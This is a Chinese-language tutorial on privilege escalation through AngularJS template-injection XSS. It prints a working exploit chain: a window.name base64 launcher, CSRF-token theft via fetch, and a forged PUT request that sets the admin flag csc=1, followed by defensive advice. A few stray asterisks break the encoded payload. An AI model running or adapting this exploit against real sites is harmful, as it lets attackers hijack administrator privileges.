利用基于AngularJS的XSS实现提权
字数 996 2025-08-18 11:39:00
基于AngularJS的XSS提权技术详解
漏洞背景
本文介绍了一种利用AngularJS模板注入实现XSS攻击,并最终提升用户权限的技术。该漏洞存在于一个用户配置文件页面,允许攻击者通过精心构造的payload将普通用户权限提升为管理员权限。
漏洞发现过程
初始测试
- 目标页面:用户配置文件页面(如
https://www.site.com/users/username-here) - 常规XSS测试payload(如
">)被过滤,说明应用有基本的XSS防护 - 尝试AngularJS模板注入,将用户名改为
{{7*7}}测试AngularJS执行环境
攻击面分析
- 管理员用户拥有编辑/添加用户权限
- 通过
csc=1参数可以授予用户完全权限 - 需要获取CSRF令牌才能构造有效请求
技术限制与绕过
输入长度限制
- 用户名字段有长度限制,无法直接注入完整利用代码
- 无法注入引用外部JavaScript的
<script>标签
解决方案:window.name技术
- 使用
window.name存储base64编码的利用代码 - 通过
eval(atob(top.name))执行代码 - 优势:
- 不受输入长度限制
- 绕过关键字过滤(主要利用代码不直接出现在输入中)
- 避免验证检查
漏洞利用步骤
1. 设置window.name
<script>
window.open(
'https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',
'dmFyIHdvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdodG1sJyk7CmZldGNoKCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS9zZXR0aW5ncycse2NyZWRlbnRpYWxzOiAnaW5jbHVkZSd9KS50aGVuKChyZXNwKSA9PiByZXNwLnRleHQoKSkudGhlbihmdW5jdGlvbihkYXRhKXsKCndvb3QuaW5uZXJIVE1MPWRhdGE7CnZhciBjc3JmX3Rva2VuID0gd29vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzNdWydjb250ZW50J107CnByaXZpbGVnZV9lc2NhbGF0ZSgpOwoKZnVuY3Rpb24gcHJpdmlsZWdlX2VzY2FsYXRlKCl7CnZhciByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKcmVxL**wZW4oJ1BPU1QnLCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS91c2Vycy9tcnMtY2FteWxsZS1rZXJ0em1hemV2YWx3aW5kb3duYW1lJyx0cnVlKTsKcmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7CnJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZ**ybS11cmxlbmNvZGVkIik7IApyZXEuc2VuZCgnX21ldGhvZD1QVVQmX3Rva2VuPScrY3NyZl90b2tlbisnJm5hbWU9TXJzLitDYW15bGxlK0tlcnR6bWF6JTdCJTdCZXZhbCUyOHdpbmRvdy5uYW1lJTI5JTdEJTdEJmVtYWlsPXVzZXIlNDBleGFtcGxlL**yZyZwaG9uZT0mY3NjPTEnKTsKfQoKfQop'
)
</script>
2. 获取CSRF令牌
var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings', {
credentials: 'include'
}).then((resp) => resp.text()).then(function(data) {
woot.innerHTML = data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content'];
privilege_escalate();
});
3. 构造提权请求
function privilege_escalate() {
var req = new XMLHttpRequest();
req.open('POST', 'https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname', true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('_method=PUT&_token=' + csrf_token + '&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}
完整利用代码
// XSS Exploit code for Privilege Escalation
var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings', {
credentials: 'include'
}).then((resp) => resp.text()).then(function(data) {
woot.innerHTML = data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content'];
privilege_escalate();
function privilege_escalate() {
var req = new XMLHttpRequest();
req.open('POST', 'https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname', true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('_method=PUT&_token=' + csrf_token + '&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}
})
关键请求分析
POST /users/attackers-username HTTP/1.1
Host: vulnerablesite.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
_method=PUT&_token=CSRF_TOKEN_HERE&name=USERNAME&email=USER_EMAIL&phone=&csc=1
关键参数:
_method=PUT:模拟PUT请求csc=1:授予管理员权限的标志
防御建议
-
输入过滤:
- 对所有用户输入进行严格过滤
- 特别关注AngularJS模板注入的特殊字符
-
输出编码:
- 对所有动态输出进行适当的HTML编码
-
权限控制:
- 实施最小权限原则
- 对敏感操作进行二次验证
-
CSRF防护:
- 使用同步令牌模式
- 考虑SameSite Cookie属性
-
内容安全策略(CSP):
- 实施严格的CSP策略
- 限制内联脚本执行
总结
本案例展示了如何通过AngularJS模板注入实现XSS攻击,并利用window.name技术绕过输入限制,最终实现权限提升。这提醒我们:
- XSS防护不应仅停留在简单的字符过滤
- 现代前端框架可能引入新的攻击面
- 权限提升功能需要特别保护
- 防御措施需要多层次、全方位
安全测试时应尝试各种技术(如模板注入、文件上传等),而不仅限于传统XSS测试方法。